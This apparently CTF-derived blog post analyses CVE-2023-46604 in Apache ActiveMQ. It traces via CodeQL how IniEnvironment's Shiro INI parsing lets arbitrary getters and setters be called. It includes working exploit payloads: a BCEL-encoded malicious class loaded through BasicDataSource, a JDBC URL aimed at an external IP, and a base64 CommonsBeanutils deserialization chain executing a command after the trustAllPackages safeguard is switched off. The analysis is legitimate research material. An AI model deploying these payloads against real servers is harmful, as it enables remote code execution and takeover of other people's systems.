CVE-2023-46604 ActiveMQ RCE不出网利用
Anchor 发表于 北京 WEB安全 1409浏览 · 2024-09-05 09:39

介绍

这个漏洞的情景来源如下:

分析

寻找入口点

首先 codeql 搜索一波,寻找构造方法为单个 String 的类:

注意要用 jdk11 编译。

git clone https://github.com/apache/activemq
git checkout 9cbf58d7bd420424004ae73659527747f9135676
codeql database create activemq-5.18.2-db --language="java" --command="mvn clean install -Dmaven.test.skip=true --file pom.xml" --source-root=activemq
import java

from Constructor c 
where c.getParameterType(0).hasName("String")
and c.getNumberOfParameters() = 1
and c.fromSource()
select c, c.getParameterType(0)

这里筛选出来了几个可疑点:

org.apache.activemq.shiro.env.IniEnvironment
org.apache.activemq.junit.EmbeddedActiveMQBroker
org.apache.activemq.pool.PooledConnectionFactory

很可惜当时在比赛的时候就不知道继续怎么往下了,看了看这几个函数不知道怎么利用。
后来在 CTFCON 上学习了 yemoli 师傅分析的思路,果然就是入口点就为上面之一的 IniEnvironment

IniEnvironment的分析

这里 iniConfig 是传入一段 shiro 的配置文件内容,然后在这个构造方法中就会对其进行解析。

先了解一下 Shiro 配置文件的格式:

https://shiro.apache.org/configuration.html

一个 [...] 对应一个 Section

每个 Section 内的配置格式如下:

首先要声明需要赋值的对象的类型。

别名=全类名

赋值方式如下:

别名.属性名=所要赋的值

如果要赋值的属性是引用类型,那么也要单独声明类型。

[main]
user=com.just.User
info=com.just.Info
user.info=$info
user.info.username=anchor
user.info.password=123456
package com.just;

public class User {
    private Info info;
    public Info getInfo() {
        return info;
    }
    public void setInfo(Info info) {
        this.info = info;
    }
}
package com.just;

public class Info {
    private String username;
    private String password;
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
}

根据官方文档可知,Shiro 解析配置文件是通过调用其 getter/setter 方法来赋值的。例如 user.info.username=anchor ,等价于调用 user.getInfo().setUsername("anchor")

那么这里通过 new IniEnvironment(xxx) ,我们可以调用任意类的 getter/setter 方法,那就很容易知道该如何 RCE 了。并且可以发现这里调用 getter/setter 方法并不依赖某个类是否有对应的属性名,只是看方法名是否形如 setXxxgetXxx 。即使 user.infouser 没有 info 属性,但是不影响其会调用 user.getInfo() 方法。

getter/setter RCE的链子

这里 yemoli 师傅分享了几个 activemq 环境下可利用的链子。

org.apache.commons.dbcp2.BasicDataSource#getConnection()

触发BCEL加载恶意字节码

在数据库 getConnection() 的时候,如果 BasicDataSourcedriverClassLoader 属性不为 null ,那么就会用其 driverClassLoader 去加载其 driverClass 对应的类名。这里可以通过 bcelRCE

最后一步的目的就是触发 getConnection()

[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p$$$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a

触发JDBC连接

这里我想到用 getConnection 触发 JDBC 连接,可惜 activemq 的环境没有数据库依赖,打不了 JDBC

[main]
datasource=org.apache.commons.dbcp2.BasicDataSource
datasource.url=jdbc:mysql://47.113.104.49:3306/db1
datasource.password=x
datasource.username=x
datasource.driverClassName=com.mysql.cj.jdbc.Driver
datasource.connection.x=x

org.apache.activemq.command.ActiveMQObjectMessage#getObject()

这个是 yemoli 师傅提到的高版本的利用方法。前面可用的 bcel 只能打低版本 jdk

这里在 org.apache.activemq.command.ActiveMQObjectMessage#getObject() 方法中存在反序列化漏洞,结合观察 activemq 的依赖存在低版本的 cb 组件,可以打反序列化漏洞。这里可以思考一下如何触发这里的反序列化漏洞。

这里反序列化的数据从自己的 content 属性中获取。

由于 content 是引用类型,其封装了要反序列化的字节数据,所以这里要接着构造 content 参数的内容,这里根据官方文档可知,字节类型的属性可以通过 base64 来赋值或者十六编码来赋值。(这点实在太人性化了!)

然后需要注意的就是修改 trustAllPackages ,不然会由于 activemq 默认存在反序列化黑名单,无法反序列化 cb 链导致失败。

[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x

0 条评论
某人
表情
可输入 255